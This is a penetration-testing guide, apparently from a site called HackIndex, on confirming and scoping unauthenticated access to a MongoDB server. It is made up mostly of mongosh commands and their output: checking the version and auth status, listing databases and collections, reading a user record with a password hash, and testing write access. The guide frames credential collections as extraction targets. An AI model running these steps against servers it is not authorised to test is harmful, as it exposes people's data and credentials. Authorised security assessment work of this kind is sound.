Skip to content
HackIndex logo

HackIndex

MongoDB Unauthenticated Access

3 min read Mar 28, 2026

Unauthenticated MongoDB access occurs when the instance is started without the --auth flag or with security.authorization: disabled in the config file. Any connecting client has full access to all databases and collections without credentials. Detection here confirms the condition and scopes the exposure — how many databases exist, whether write access is also open, and whether sensitive collections are directly readable. Confirmed unauthenticated access moves to unauthenticated data extraction.

Confirm Unauthenticated Read Access

The fastest confirmation is a non-interactive version check. A version string returned without credentials confirms the instance is open:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.version()' 2>/dev/null 
6.0.5

Check connection identity explicitly to confirm no authentication was performed:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.runCommand({connectionStatus: 1}).authInfo)' 
{ authenticatedUsers: [], authenticatedUserRoles: [] }

Empty arrays with no error confirm unauthenticated access. If the connection instead returns an error like command listDatabases requires authentication, authentication is enforced and this path is closed.

Scope the Database Exposure

List all databases to establish what is accessible and prioritize targets:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => print(d.name, d.sizeOnDisk))' 
admin 102400
appdb 81920
users 40960
analytics 204800
local 40960
┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => { let cols = db.getSiblingDB(d.name).getCollectionNames(); print(d.name+": "+cols.join(", ")) })' 
admin: system.users, system.roles, system.version
appdb: users, sessions, orders, api_tokens
users: accounts, profiles
analytics: events, metrics, logs

Collections named users, accounts, sessions, api_tokens, and credentials are immediate extraction targets. The admin database's system.users collection contains password hashes for all MongoDB users.

Confirm Read Access on Collections

Verify that collection data is readable by pulling a sample document:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.users.findOne())' 
{
  _id: ObjectId('507f1f77bcf86cd799439011'),
  username: 'admin',
  password: '$2b$12$abc123hashhere',
  email: '[email protected]',
  role: 'administrator'
}

Confirm Write Access

Test whether the anonymous connection can write. Insert a test document and immediately delete it:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.pentest_check.insertOne({test:"write_access_confirmed"}); db.pentest_check.drop()' 
{ acknowledged: true, insertedId: ObjectId('...') }
true

Confirmed write access means an attacker can modify application data, insert backdoor accounts into the application's user collection, and corrupt records. Move to unauthenticated data extraction to dump high-value collections, and check dangerous configuration checks to understand the full misconfiguration picture.

References